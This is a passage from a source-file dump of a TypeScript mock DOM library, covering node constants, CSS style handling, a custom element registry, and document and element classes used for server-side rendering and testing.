    "content": "export const enum NODE_TYPES {\n  ELEMENT_NODE = 1,\n  ATTRIBUTE_NODE = 2,\n  TEXT_NODE = 3,\n  CDATA_SECTION_NODE = 4,\n  ENTITY_REFERENCE_NODE = 5,\n  ENTITY_NODE = 6,\n  PROCESSING_INSTRUCTION_NODE = 7,\n  COMMENT_NODE = 8,\n  DOCUMENT_NODE = 9,\n  DOCUMENT_TYPE_NODE = 10,\n  DOCUMENT_FRAGMENT_NODE = 11,\n  NOTATION_NODE = 12,\n}\n\nexport const enum NODE_NAMES {\n  COMMENT_NODE = '#comment',\n  DOCUMENT_NODE = '#document',\n  DOCUMENT_FRAGMENT_NODE = '#document-fragment',\n  TEXT_NODE = '#text',\n}\n"
  },
  {
    "path": "src/mock-doc/css-style-declaration.ts",
    "content": "export class MockCSSStyleDeclaration {\n  private _styles = new Map<string, string>();\n\n  setProperty(prop: string, value: string) {\n    prop = jsCaseToCssCase(prop);\n\n    if (value == null || value === '') {\n      this._styles.delete(prop);\n    } else {\n      this._styles.set(prop, String(value));\n    }\n  }\n\n  getPropertyValue(prop: string) {\n    prop = jsCaseToCssCase(prop);\n    return String(this._styles.get(prop) || '');\n  }\n\n  removeProperty(prop: string) {\n    prop = jsCaseToCssCase(prop);\n    this._styles.delete(prop);\n  }\n\n  get length() {\n    return this._styles.size;\n  }\n\n  get cssText() {\n    const cssText: string[] = [];\n\n    this._styles.forEach((value, prop) => {\n      cssText.push(`${prop}: ${value};`);\n    });\n\n    return cssText.join(' ').trim();\n  }\n\n  set cssText(cssText: string) {\n    if (cssText == null || cssText === '') {\n      this._styles.clear();\n      return;\n    }\n\n    cssText.split(';').forEach((rule) => {\n      rule = rule.trim();\n      if (rule.length > 0) {\n        const splt = rule.split(':');\n        if (splt.length > 1) {\n          const prop = splt[0].trim();\n          const value = splt.slice(1).join(':').trim();\n          if (prop !== '' && value !== '') {\n            this._styles.set(jsCaseToCssCase(prop), value);\n          }\n        }\n      }\n    });\n  }\n}\n\nexport function createCSSStyleDeclaration() {\n  return new Proxy(new MockCSSStyleDeclaration(), cssProxyHandler);\n}\n\nconst cssProxyHandler: ProxyHandler<MockCSSStyleDeclaration> = {\n  get(cssStyle, prop: string) {\n    if (prop in cssStyle) {\n      return (cssStyle as any)[prop];\n    }\n    prop = cssCaseToJsCase(prop);\n    return cssStyle.getPropertyValue(prop);\n  },\n\n  set(cssStyle, prop: string, value) {\n    if (prop in cssStyle) {\n      (cssStyle as any)[prop] = value;\n    } else {\n      cssStyle.setProperty(prop, value);\n    }\n    return true;\n  },\n};\n\nfunction cssCaseToJsCase(str: string) {\n  // font-size to fontSize\n  if (str.length > 1 && str.includes('-') === true) {\n    str = str\n      .toLowerCase()\n      .split('-')\n      .map((segment) => segment.charAt(0).toUpperCase() + segment.slice(1))\n      .join('');\n    str = str.slice(0, 1).toLowerCase() + str.slice(1);\n  }\n  return str;\n}\n\nfunction jsCaseToCssCase(str: string) {\n  // fontSize to font-size\n  if (str.length > 1 && str.includes('-') === false && /[A-Z]/.test(str) === true) {\n    str = str\n      .replace(/([A-Z])/g, (g) => ' ' + g[0])\n      .trim()\n      .replace(/ /g, '-')\n      .toLowerCase();\n  }\n\n  return str;\n}\n"
  },
  {
    "path": "src/mock-doc/css-style-sheet.ts",
    "content": "import { MockStyleElement } from './element';\n\nclass MockCSSRule {\n  cssText = '';\n  type = 0;\n  constructor(public parentStyleSheet: MockCSSStyleSheet) {}\n}\n\nexport class MockCSSStyleSheet {\n  ownerNode?: MockStyleElement;\n  type = 'text/css';\n  parentStyleSheet: MockCSSStyleSheet = null;\n  cssRules: MockCSSRule[] = [];\n\n  constructor(ownerNode?: MockStyleElement) {\n    this.ownerNode = ownerNode;\n  }\n\n  get rules() {\n    return this.cssRules;\n  }\n  set rules(rules) {\n    this.cssRules = rules;\n  }\n\n  deleteRule(index: number) {\n    if (index >= 0 && index < this.cssRules.length) {\n      this.cssRules.splice(index, 1);\n      if (this.ownerNode) {\n        updateStyleTextNode(this.ownerNode);\n      }\n    }\n  }\n\n  insertRule(rule: string, index = 0) {\n    if (typeof index !== 'number') {\n      index = 0;\n    }\n    if (index < 0) {\n      index = 0;\n    }\n    if (index > this.cssRules.length) {\n      index = this.cssRules.length;\n    }\n    const cssRule = new MockCSSRule(this);\n    cssRule.cssText = rule;\n    this.cssRules.splice(index, 0, cssRule);\n    if (this.ownerNode) {\n      updateStyleTextNode(this.ownerNode);\n    }\n    return index;\n  }\n\n  replaceSync(cssText: string) {\n    // Clear current rules\n    this.cssRules = [];\n\n    // Naive rule parser: split by `}` and restore closing bracket\n    const rules = cssText\n      .split('}')\n      .map((rule) => rule.trim())\n      .filter(Boolean)\n      .map((rule) => rule + '}');\n\n    for (const rule of rules) {\n      const cssRule = new MockCSSRule(this);\n      cssRule.cssText = rule;\n      this.cssRules.push(cssRule);\n    }\n\n    if (this.ownerNode) {\n      updateStyleTextNode(this.ownerNode);\n    }\n  }\n}\n\nexport function getStyleElementText(styleElm: MockStyleElement) {\n  const output: string[] = [];\n  for (let i = 0; i < styleElm.childNodes.length; i++) {\n    output.push(styleElm.childNodes[i].nodeValue);\n  }\n  return output.join('');\n}\n\nexport function setStyleElementText(styleElm: MockStyleElement, text: string) {\n  // keeping the innerHTML and the sheet.cssRules connected\n  // is not technically correct, but since we're doing\n  // SSR we'll need to turn any assigned cssRules into\n  // real text, not just properties that aren't rendered\n  const sheet = styleElm.sheet;\n  sheet.cssRules.length = 0;\n  sheet.insertRule(text);\n\n  updateStyleTextNode(styleElm);\n}\n\nfunction updateStyleTextNode(styleElm: MockStyleElement) {\n  const childNodeLen = styleElm.childNodes.length;\n  if (childNodeLen > 1) {\n    for (let i = childNodeLen - 1; i >= 1; i--) {\n      styleElm.removeChild(styleElm.childNodes[i]);\n    }\n  } else if (childNodeLen < 1) {\n    styleElm.appendChild(styleElm.ownerDocument.createTextNode(''));\n  }\n  const textNode = styleElm.childNodes[0];\n  textNode.nodeValue = styleElm.sheet.cssRules.map((r) => r.cssText).join('\\n');\n}\n"
  },
  {
    "path": "src/mock-doc/custom-element-registry.ts",
    "content": "import { NODE_TYPES } from './constants';\nimport { MockHTMLElement, MockNode } from './node';\n\nexport class MockCustomElementRegistry implements CustomElementRegistry {\n  private __registry: Map<string, { cstr: any; options: any }>;\n  private __whenDefined: Map<string, Function[]>;\n\n  constructor(private win: Window) {}\n\n  define(tagName: string, cstr: any, options?: any) {\n    if (tagName.toLowerCase() !== tagName) {\n      throw new Error(\n        `Failed to execute 'define' on 'CustomElementRegistry': \"${tagName}\" is not a valid custom element name`,\n      );\n    }\n\n    if (this.__registry == null) {\n      this.__registry = new Map();\n    }\n    this.__registry.set(tagName, { cstr, options });\n\n    if (this.__whenDefined != null) {\n      const whenDefinedResolveFns = this.__whenDefined.get(tagName);\n      if (whenDefinedResolveFns != null) {\n        whenDefinedResolveFns.forEach((whenDefinedResolveFn) => {\n          whenDefinedResolveFn();\n        });\n        whenDefinedResolveFns.length = 0;\n        this.__whenDefined.delete(tagName);\n      }\n    }\n\n    const doc = this.win.document;\n    if (doc != null) {\n      const hosts = doc.querySelectorAll(tagName);\n      hosts.forEach((host) => {\n        if (upgradedElements.has(host) === false) {\n          tempDisableCallbacks.add(doc);\n\n          const upgradedCmp = createCustomElement(this, doc, tagName) as MockNode;\n\n          for (let i = 0; i < host.childNodes.length; i++) {\n            const childNode = host.childNodes[i];\n            childNode.remove();\n            upgradedCmp.appendChild(childNode as any);\n          }\n\n          tempDisableCallbacks.delete(doc);\n\n          if (proxyElements.has(host)) {\n            proxyElements.set(host, upgradedCmp);\n          }\n        }\n\n        fireConnectedCallback(host);\n      });\n    }\n  }\n\n  get(tagName: string) {\n    if (this.__registry != null) {\n      const def = this.__registry.get(tagName.toLowerCase());\n      if (def != null) {\n        return def.cstr;\n      }\n    }\n    return undefined;\n  }\n\n  getName(cstr: CustomElementConstructor) {\n    for (const [tagName, def] of this.__registry.entries()) {\n      if (def.cstr === cstr) {\n        return tagName;\n      }\n    }\n    return undefined;\n  }\n\n  upgrade(_rootNode: any) {\n    //\n  }\n\n  clear() {\n    if (this.__registry != null) {\n      this.__registry.clear();\n    }\n\n    if (this.__whenDefined != null) {\n      this.__whenDefined.clear();\n    }\n  }\n\n  whenDefined(tagName: string): Promise<CustomElementConstructor> {\n    tagName = tagName.toLowerCase();\n\n    if (this.__registry != null && this.__registry.has(tagName) === true) {\n      return Promise.resolve<CustomElementConstructor>(this.__registry.get(tagName).cstr);\n    }\n\n    return new Promise<CustomElementConstructor>((resolve) => {\n      if (this.__whenDefined == null) {\n        this.__whenDefined = new Map();\n      }\n\n      let whenDefinedResolveFns = this.__whenDefined.get(tagName);\n      if (whenDefinedResolveFns == null) {\n        whenDefinedResolveFns = [];\n        this.__whenDefined.set(tagName, whenDefinedResolveFns);\n      }\n\n      whenDefinedResolveFns.push(resolve);\n    });\n  }\n}\n\nexport function createCustomElement(customElements: MockCustomElementRegistry, ownerDocument: any, tagName: string) {\n  const Cstr = customElements.get(tagName);\n\n  if (Cstr != null) {\n    const cmp = new Cstr(ownerDocument);\n    cmp.nodeName = tagName.toUpperCase();\n    upgradedElements.add(cmp);\n    return cmp;\n  }\n\n  const host = new Proxy(\n    {},\n    {\n      get(obj: any, prop: string) {\n        const elm = proxyElements.get(host);\n        if (elm != null) {\n          return elm[prop];\n        }\n        return obj[prop];\n      },\n      set(obj: any, prop: string, val: any) {\n        const elm = proxyElements.get(host);\n        if (elm != null) {\n          elm[prop] = val;\n        } else {\n          obj[prop] = val;\n        }\n        return true;\n      },\n      has(obj: any, prop: string) {\n        const elm = proxyElements.get(host);\n        if (prop in elm) {\n          return true;\n        }\n        if (prop in obj) {\n          return true;\n        }\n        return false;\n      },\n    },\n  );\n\n  const elm = new MockHTMLElement(ownerDocument, tagName);\n\n  proxyElements.set(host, elm);\n\n  return host;\n}\n\nconst proxyElements = new WeakMap();\n\nconst upgradedElements = new WeakSet();\n\nexport function connectNode(ownerDocument: any, node: MockNode) {\n  node.ownerDocument = ownerDocument;\n\n  if (node.nodeType === NODE_TYPES.ELEMENT_NODE) {\n    if (ownerDocument != null && node.nodeName.includes('-')) {\n      const win = ownerDocument.defaultView as Window;\n      if (win != null && typeof (node as any).connectedCallback === 'function' && node.isConnected) {\n        fireConnectedCallback(node);\n      }\n\n      const shadowRoot = (node as any as Element).shadowRoot;\n      if (shadowRoot != null) {\n        shadowRoot.childNodes.forEach((childNode) => {\n          connectNode(ownerDocument, childNode as any);\n        });\n      }\n    }\n\n    node.childNodes.forEach((childNode) => {\n      connectNode(ownerDocument, childNode);\n    });\n  } else {\n    node.childNodes.forEach((childNode) => {\n      childNode.ownerDocument = ownerDocument;\n    });\n  }\n}\n\nfunction fireConnectedCallback(node: any) {\n  if (typeof (node as any).connectedCallback === 'function') {\n    if (tempDisableCallbacks.has(node.ownerDocument) === false) {\n      try {\n        node.connectedCallback();\n      } catch (e) {\n        console.error(e);\n      }\n    }\n  }\n}\n\nexport function disconnectNode(node: MockNode) {\n  if (node.nodeType === NODE_TYPES.ELEMENT_NODE) {\n    if (node.nodeName.includes('-') === true && typeof (node as any).disconnectedCallback === 'function') {\n      if (tempDisableCallbacks.has(node.ownerDocument) === false) {\n        try {\n          (node as any).disconnectedCallback();\n        } catch (e) {\n          console.error(e);\n        }\n      }\n    }\n    node.childNodes.forEach(disconnectNode);\n  }\n}\n\nexport function attributeChanged(node: MockNode, attrName: string, oldValue: string | null, newValue: string | null) {\n  attrName = attrName.toLowerCase();\n\n  const observedAttributes = (node as any).constructor.observedAttributes as string[];\n  if (\n    Array.isArray(observedAttributes) === true &&\n    observedAttributes.some((obs) => obs.toLowerCase() === attrName) === true\n  ) {\n    try {\n      (node as any).attributeChangedCallback(attrName, oldValue, newValue);\n    } catch (e) {\n      console.error(e);\n    }\n  }\n}\n\nexport function checkAttributeChanged(node: MockNode) {\n  return node.nodeName.includes('-') === true && typeof (node as any).attributeChangedCallback === 'function';\n}\n\nconst tempDisableCallbacks = new Set();\n"
  },
  {
    "path": "src/mock-doc/dataset.ts",
    "content": "import { MockElement } from './node';\n\nexport function dataset(elm: MockElement) {\n  const ds: any = {};\n  const attributes = elm.attributes;\n  const attrLen = attributes.length;\n\n  for (let i = 0; i < attrLen; i++) {\n    const attr = attributes.item(i);\n    const nodeName = attr.nodeName;\n    if (nodeName.startsWith('data-')) {\n      ds[dashToPascalCase(nodeName)] = attr.nodeValue;\n    }\n  }\n\n  return new Proxy(ds, {\n    get(_obj, camelCaseProp: string) {\n      return ds[camelCaseProp];\n    },\n    set(_obj, camelCaseProp: string, value) {\n      const dataAttr = toDataAttribute(camelCaseProp);\n      elm.setAttribute(dataAttr, value);\n      return true;\n    },\n  });\n}\n\nfunction toDataAttribute(str: string) {\n  return (\n    'data-' +\n    String(str)\n      .replace(/([A-Z0-9])/g, (g) => ' ' + g[0])\n      .trim()\n      .replace(/ /g, '-')\n      .toLowerCase()\n  );\n}\n\nfunction dashToPascalCase(str: string) {\n  str = String(str).slice(5);\n  return str\n    .split('-')\n    .map((segment, index) => {\n      if (index === 0) {\n        return segment.charAt(0).toLowerCase() + segment.slice(1);\n      }\n      return segment.charAt(0).toUpperCase() + segment.slice(1);\n    })\n    .join('');\n}\n"
  },
  {
    "path": "src/mock-doc/document-fragment.ts",
    "content": "import { NODE_NAMES, NODE_TYPES } from './constants';\nimport { MockCSSStyleSheet } from './css-style-sheet';\nimport { getElementById } from './document';\nimport { MockElement, MockHTMLElement } from './node';\n\nexport class MockDocumentFragment extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, null);\n    this.nodeName = NODE_NAMES.DOCUMENT_FRAGMENT_NODE;\n    this.nodeType = NODE_TYPES.DOCUMENT_FRAGMENT_NODE;\n  }\n\n  getElementById(id: string): MockElement {\n    return getElementById(this, id);\n  }\n\n  get adoptedStyleSheets(): MockCSSStyleSheet[] {\n    return [];\n  }\n\n  set adoptedStyleSheets(_adoptedStyleSheets: MockCSSStyleSheet[]) {\n    throw new Error('Unimplemented');\n  }\n\n  override cloneNode(deep?: boolean) {\n    const cloned = new MockDocumentFragment(null);\n\n    if (deep) {\n      for (let i = 0, ii = this.childNodes.length; i < ii; i++) {\n        const childNode = this.childNodes[i];\n        if (\n          childNode.nodeType === NODE_TYPES.ELEMENT_NODE ||\n          childNode.nodeType === NODE_TYPES.TEXT_NODE ||\n          childNode.nodeType === NODE_TYPES.COMMENT_NODE\n        ) {\n          const clonedChildNode = this.childNodes[i].cloneNode(true);\n          cloned.appendChild(clonedChildNode);\n        }\n      }\n    }\n\n    return cloned;\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/document-type-node.ts",
    "content": "import { NODE_TYPES } from './constants';\nimport { MockHTMLElement } from './node';\n\nexport class MockDocumentTypeNode extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, '!DOCTYPE');\n    this.nodeType = NODE_TYPES.DOCUMENT_TYPE_NODE;\n    this.setAttribute('html', '');\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/document.ts",
    "content": "import { MockAttr } from './attribute';\nimport { MockComment } from './comment-node';\nimport { NODE_NAMES, NODE_TYPES } from './constants';\nimport { MockDocumentFragment } from './document-fragment';\nimport { MockDocumentTypeNode } from './document-type-node';\nimport { createElement, createElementNS, MockBaseElement } from './element';\nimport { resetEventListeners } from './event';\nimport { MockElement, MockHTMLElement, MockTextNode, resetElement } from './node';\nimport { parseHtmlToFragment } from './parse-html';\nimport { parseDocumentUtil } from './parse-util';\nimport { MockWindow } from './window';\n\nexport class MockDocument extends MockHTMLElement {\n  defaultView: any;\n  cookie: string;\n  referrer: string;\n\n  constructor(html: string | boolean | null = null, win: any = null) {\n    super(null, null);\n    this.nodeName = NODE_NAMES.DOCUMENT_NODE;\n    this.nodeType = NODE_TYPES.DOCUMENT_NODE;\n    this.defaultView = win;\n    this.cookie = '';\n    this.referrer = '';\n\n    this.appendChild(this.createDocumentTypeNode());\n\n    if (typeof html === 'string') {\n      const parsedDoc: MockDocument = parseDocumentUtil(this, html);\n\n      const documentElement = parsedDoc.children.find((elm) => elm.nodeName === 'HTML');\n      if (documentElement != null) {\n        this.appendChild(documentElement);\n        setOwnerDocument(documentElement, this);\n      }\n    } else if (html !== false) {\n      const documentElement = new MockHTMLElement(this, 'html');\n      this.appendChild(documentElement);\n\n      documentElement.appendChild(new MockHTMLElement(this, 'head'));\n      documentElement.appendChild(new MockHTMLElement(this, 'body'));\n    }\n  }\n\n  override get dir() {\n    return this.documentElement.dir;\n  }\n  override set dir(value: string) {\n    this.documentElement.dir = value;\n  }\n\n  override get localName(): never {\n    throw new Error('Unimplemented');\n  }\n\n  get location(): Location | null {\n    if (this.defaultView != null) {\n      return (this.defaultView as Window).location;\n    }\n    return null;\n  }\n  set location(val: string) {\n    if (this.defaultView != null) {\n      (this.defaultView as Window).location.href = val;\n    }\n  }\n\n  get baseURI() {\n    const baseNode = this.head.childNodes.find((node) => node.nodeName === 'BASE') as MockBaseElement;\n    if (baseNode) {\n      return baseNode.href;\n    }\n    return this.URL;\n  }\n\n  get URL() {\n    return this.location.href;\n  }\n\n  get styleSheets() {\n    return this.querySelectorAll('style');\n  }\n\n  get scripts() {\n    return this.querySelectorAll('script');\n  }\n\n  get forms() {\n    return this.querySelectorAll('form');\n  }\n\n  get images() {\n    return this.querySelectorAll('img');\n  }\n\n  get scrollingElement() {\n    return this.documentElement;\n  }\n\n  get documentElement() {\n    for (let i = this.childNodes.length - 1; i >= 0; i--) {\n      if (this.childNodes[i].nodeName === 'HTML') {\n        return this.childNodes[i] as MockElement;\n      }\n    }\n\n    const documentElement = new MockHTMLElement(this, 'html');\n    this.appendChild(documentElement);\n    return documentElement;\n  }\n  set documentElement(documentElement) {\n    for (let i = this.childNodes.length - 1; i >= 0; i--) {\n      if (this.childNodes[i].nodeType !== NODE_TYPES.DOCUMENT_TYPE_NODE) {\n        this.childNodes[i].remove();\n      }\n    }\n    if (documentElement != null) {\n      this.appendChild(documentElement);\n      setOwnerDocument(documentElement, this);\n    }\n  }\n\n  get head() {\n    const documentElement = this.documentElement;\n    for (let i = 0; i < documentElement.childNodes.length; i++) {\n      if (documentElement.childNodes[i].nodeName === 'HEAD') {\n        return documentElement.childNodes[i] as MockElement;\n      }\n    }\n\n    const head = new MockHTMLElement(this, 'head');\n    documentElement.insertBefore(head, documentElement.firstChild);\n    return head;\n  }\n  set head(head) {\n    const documentElement = this.documentElement;\n    for (let i = documentElement.childNodes.length - 1; i >= 0; i--) {\n      if (documentElement.childNodes[i].nodeName === 'HEAD') {\n        documentElement.childNodes[i].remove();\n      }\n    }\n    if (head != null) {\n      documentElement.insertBefore(head, documentElement.firstChild);\n      setOwnerDocument(head, this);\n    }\n  }\n\n  get body() {\n    const documentElement = this.documentElement;\n    for (let i = documentElement.childNodes.length - 1; i >= 0; i--) {\n      if (documentElement.childNodes[i].nodeName === 'BODY') {\n        return documentElement.childNodes[i] as MockElement;\n      }\n    }\n\n    const body = new MockHTMLElement(this, 'body');\n    documentElement.appendChild(body);\n    return body;\n  }\n  set body(body) {\n    const documentElement = this.documentElement;\n    for (let i = documentElement.childNodes.length - 1; i >= 0; i--) {\n      if (documentElement.childNodes[i].nodeName === 'BODY') {\n        documentElement.childNodes[i].remove();\n      }\n    }\n    if (body != null) {\n      documentElement.appendChild(body);\n      setOwnerDocument(body, this);\n    }\n  }\n\n  override appendChild(newNode: MockElement) {\n    newNode.remove();\n    newNode.parentNode = this;\n    this.childNodes.push(newNode);\n    return newNode;\n  }\n\n  createComment(data: string) {\n    return new MockComment(this, data);\n  }\n\n  createAttribute(attrName: string) {\n    return new MockAttr(attrName.toLowerCase(), '');\n  }\n\n  createAttributeNS(namespaceURI: string, attrName: string) {\n    return new MockAttr(attrName, '', namespaceURI);\n  }\n\n  createElement(tagName: string) {\n    if (tagName === NODE_NAMES.DOCUMENT_NODE) {\n      const doc = new MockDocument(false as any);\n      doc.nodeName = tagName;\n      doc.parentNode = null;\n      return doc;\n    }\n\n    return createElement(this, tagName);\n  }\n\n  createElementNS(namespaceURI: string, tagName: string) {\n    const elmNs = createElementNS(this, namespaceURI, tagName);\n    return elmNs;\n  }\n\n  createTextNode(text: string) {\n    return new MockTextNode(this, text);\n  }\n\n  createDocumentFragment() {\n    return new MockDocumentFragment(this);\n  }\n\n  createDocumentTypeNode() {\n    return new MockDocumentTypeNode(this);\n  }\n\n  getElementById(id: string) {\n    return getElementById(this, id);\n  }\n\n  getElementsByName(elmName: string) {\n    return getElementsByName(this, elmName.toLowerCase());\n  }\n\n  override get title() {\n    const title = this.head.childNodes.find((elm) => elm.nodeName === 'TITLE') as MockElement;\n    if (title != null && typeof title.textContent === 'string') {\n      return title.textContent.trim();\n    }\n    return '';\n  }\n  override set title(value: string) {\n    const head = this.head;\n    let title = head.childNodes.find((elm) => elm.nodeName === 'TITLE') as MockElement;\n    if (title == null) {\n      title = this.createElement('title');\n      head.appendChild(title);\n    }\n    title.textContent = value;\n  }\n}\n\nexport function createDocument(html: string | boolean = null): Document {\n  return new MockWindow(html).document;\n}\n\nexport function createFragment(html?: string): DocumentFragment {\n  return parseHtmlToFragment(html, null);\n}\n\nexport function resetDocument(doc: Document) {\n  if (doc != null) {\n    resetEventListeners(doc);\n\n    const documentElement = doc.documentElement;\n    if (documentElement != null) {\n      resetElement(documentElement as any);\n\n      for (let i = 0, ii = documentElement.childNodes.length; i < ii; i++) {\n        const childNode = documentElement.childNodes[i];\n        resetElement(childNode as any);\n        (childNode.childNodes as any).length = 0;\n      }\n    }\n\n    for (const key in doc) {\n      if (doc.hasOwnProperty(key) && !DOC_KEY_KEEPERS.has(key)) {\n        delete (doc as any)[key];\n      }\n    }\n\n    try {\n      (doc as any).nodeName = NODE_NAMES.DOCUMENT_NODE;\n    } catch (e) {}\n    try {\n      (doc as any).nodeType = NODE_TYPES.DOCUMENT_NODE;\n    } catch (e) {}\n    try {\n      (doc as any).cookie = '';\n    } catch (e) {}\n    try {\n      (doc as any).referrer = '';\n    } catch (e) {}\n  }\n}\n\nconst DOC_KEY_KEEPERS = new Set([\n  'nodeName',\n  'nodeType',\n  'nodeValue',\n  'ownerDocument',\n  'parentNode',\n  'childNodes',\n  '_childNodes',\n  '_shadowRoot',\n]);\n\nexport function getElementById(elm: MockElement, id: string): MockElement {\n  const children = elm.children;\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const childElm = children[i];\n    if (childElm.id === id) {\n      return childElm;\n    }\n    const childElmFound = getElementById(childElm, id);\n    if (childElmFound != null) {\n      return childElmFound;\n    }\n  }\n  return null;\n}\n\nfunction getElementsByName(elm: MockElement, elmName: string, foundElms: MockElement[] = []) {\n  const children = elm.children;\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const childElm = children[i];\n    if ((childElm as any).name && (childElm as any).name.toLowerCase() === elmName) {\n      foundElms.push(childElm);\n    }\n    getElementsByName(childElm, elmName, foundElms);\n  }\n  return foundElms;\n}\n\nexport function setOwnerDocument(elm: MockElement, ownerDocument: any) {\n  for (let i = 0, ii = elm.childNodes.length; i < ii; i++) {\n    elm.childNodes[i].ownerDocument = ownerDocument;\n\n    if (elm.childNodes[i].nodeType === NODE_TYPES.ELEMENT_NODE) {\n      setOwnerDocument(elm.childNodes[i] as any, ownerDocument);\n    }\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/element.ts",
    "content": "import { cloneAttributes } from './attribute';\nimport { NODE_TYPES } from './constants';\nimport { getStyleElementText, MockCSSStyleSheet, setStyleElementText } from './css-style-sheet';\nimport { createCustomElement } from './custom-element-registry';\nimport { MockDocumentFragment } from './document-fragment';\nimport { MockElement, MockHTMLElement, MockNode } from './node';\n\nexport function createElement(ownerDocument: any, tagName: string): any {\n  if (typeof tagName !== 'string' || tagName === '' || !/^[a-z0-9-_:]+$/i.test(tagName)) {\n    throw new Error(`The tag name provided (${tagName}) is not a valid name.`);\n  }\n  tagName = tagName.toLowerCase();\n\n  switch (tagName) {\n    case 'a':\n      return new MockAnchorElement(ownerDocument);\n\n    case 'base':\n      return new MockBaseElement(ownerDocument);\n\n    case 'button':\n      return new MockButtonElement(ownerDocument);\n\n    case 'canvas':\n      return new MockCanvasElement(ownerDocument);\n\n    case 'form':\n      return new MockFormElement(ownerDocument);\n\n    case 'img':\n      return new MockImageElement(ownerDocument);\n\n    case 'input':\n      return new MockInputElement(ownerDocument);\n\n    case 'label':\n      return new MockLabelElement(ownerDocument);\n\n    case 'link':\n      return new MockLinkElement(ownerDocument);\n\n    case 'meta':\n      return new MockMetaElement(ownerDocument);\n\n    case 'script':\n      return new MockScriptElement(ownerDocument);\n\n    case 'slot':\n      return new MockSlotElement(ownerDocument);\n\n    case 'slot-fb':\n      return new MockHTMLElement(ownerDocument, tagName);\n\n    case 'style':\n      return new MockStyleElement(ownerDocument);\n\n    case 'template':\n      return new MockTemplateElement(ownerDocument);\n\n    case 'title':\n      return new MockTitleElement(ownerDocument);\n\n    case 'ul':\n      return new MockUListElement(ownerDocument);\n  }\n\n  if (ownerDocument != null && tagName.includes('-')) {\n    const win = ownerDocument.defaultView;\n    if (win != null && win.customElements != null) {\n      return createCustomElement(win.customElements, ownerDocument, tagName);\n    }\n  }\n\n  return new MockHTMLElement(ownerDocument, tagName);\n}\n\nexport function createElementNS(ownerDocument: any, namespaceURI: string, tagName: string) {\n  if (namespaceURI === 'http://www.w3.org/1999/xhtml') {\n    return createElement(ownerDocument, tagName);\n  } else if (namespaceURI === 'http://www.w3.org/2000/svg') {\n    switch (tagName.toLowerCase()) {\n      case 'text':\n      case 'tspan':\n      case 'tref':\n      case 'altglyph':\n      case 'textpath':\n        return new MockSVGTextContentElement(ownerDocument, tagName);\n      case 'circle':\n      case 'ellipse':\n      case 'image':\n      case 'line':\n      case 'path':\n      case 'polygon':\n      case 'polyline':\n      case 'rect':\n      case 'use':\n        return new MockSVGGraphicsElement(ownerDocument, tagName);\n      case 'svg':\n        return new MockSVGSVGElement(ownerDocument, tagName);\n      default:\n        return new MockSVGElement(ownerDocument, tagName);\n    }\n  } else {\n    return new MockElement(ownerDocument, tagName, namespaceURI);\n  }\n}\n\nexport class MockAnchorElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'a');\n  }\n\n  get href() {\n    return fullUrl(this, 'href');\n  }\n  set href(value: string) {\n    this.setAttribute('href', value);\n  }\n  get pathname() {\n    if (!this.href) {\n      return '';\n    }\n    return new URL(this.href).pathname;\n  }\n}\n\nexport class MockButtonElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'button');\n  }\n\n  get labels() {\n    return getLabelsForElement(this);\n  }\n}\npatchPropAttributes(\n  MockButtonElement.prototype,\n  {\n    type: String,\n  },\n  {\n    type: 'submit',\n  },\n);\n\nObject.defineProperty(MockButtonElement.prototype, 'form', {\n  get(this: MockElement) {\n    return this.hasAttribute('form') ? this.getAttribute('form') : null;\n  },\n});\n\nexport class MockImageElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'img');\n  }\n\n  override get draggable() {\n    return this.getAttributeNS(null, 'draggable') !== 'false';\n  }\n  override set draggable(value: boolean) {\n    this.setAttributeNS(null, 'draggable', value);\n  }\n\n  get src() {\n    return fullUrl(this, 'src');\n  }\n  set src(value: string) {\n    this.setAttribute('src', value);\n  }\n}\npatchPropAttributes(MockImageElement.prototype, {\n  height: Number,\n  width: Number,\n});\n\nexport class MockInputElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'input');\n  }\n\n  get list() {\n    const listId = this.getAttribute('list');\n    if (listId) {\n      return (this.ownerDocument as Document).getElementById(listId);\n    }\n    return null;\n  }\n\n  get labels() {\n    return getLabelsForElement(this);\n  }\n}\n\npatchPropAttributes(\n  MockInputElement.prototype,\n  {\n    accept: String,\n    autocomplete: String,\n    autofocus: Boolean,\n    capture: String,\n    checked: Boolean,\n    disabled: Boolean,\n    form: String,\n    formaction: String,\n    formenctype: String,\n    formmethod: String,\n    formnovalidate: String,\n    formtarget: String,\n    height: Number,\n    inputmode: String,\n    max: String,\n    maxLength: Number,\n    min: String,\n    minLength: Number,\n    multiple: Boolean,\n    name: String,\n    pattern: String,\n    placeholder: String,\n    required: Boolean,\n    readOnly: Boolean,\n    size: Number,\n    spellCheck: Boolean,\n    src: String,\n    step: String,\n    type: String,\n    value: String,\n    width: Number,\n  },\n  {\n    type: 'text',\n  },\n);\n\nexport class MockFormElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'form');\n  }\n}\npatchPropAttributes(MockFormElement.prototype, {\n  name: String,\n});\n\nexport class MockLabelElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'label');\n  }\n\n  get htmlFor() {\n    return this.getAttributeNS(null, 'for') || '';\n  }\n  set htmlFor(value: string) {\n    this.setAttributeNS(null, 'for', value);\n  }\n\n  get control(): MockHTMLElement | null {\n    const forAttr = this.htmlFor;\n    if (forAttr) {\n      // Label references an element by ID via the \"for\" attribute\n      return this.ownerDocument?.getElementById(forAttr) ?? null;\n    }\n    // If no \"for\" attribute, look for the first labelable descendant\n    const labelableSelector = 'button, input:not([type=\"hidden\"]), meter, output, progress, select, textarea';\n    return this.querySelector(labelableSelector);\n  }\n}\n\nexport class MockLinkElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'link');\n  }\n\n  get href() {\n    return fullUrl(this, 'href');\n  }\n  set href(value: string) {\n    this.setAttribute('href', value);\n  }\n}\npatchPropAttributes(MockLinkElement.prototype, {\n  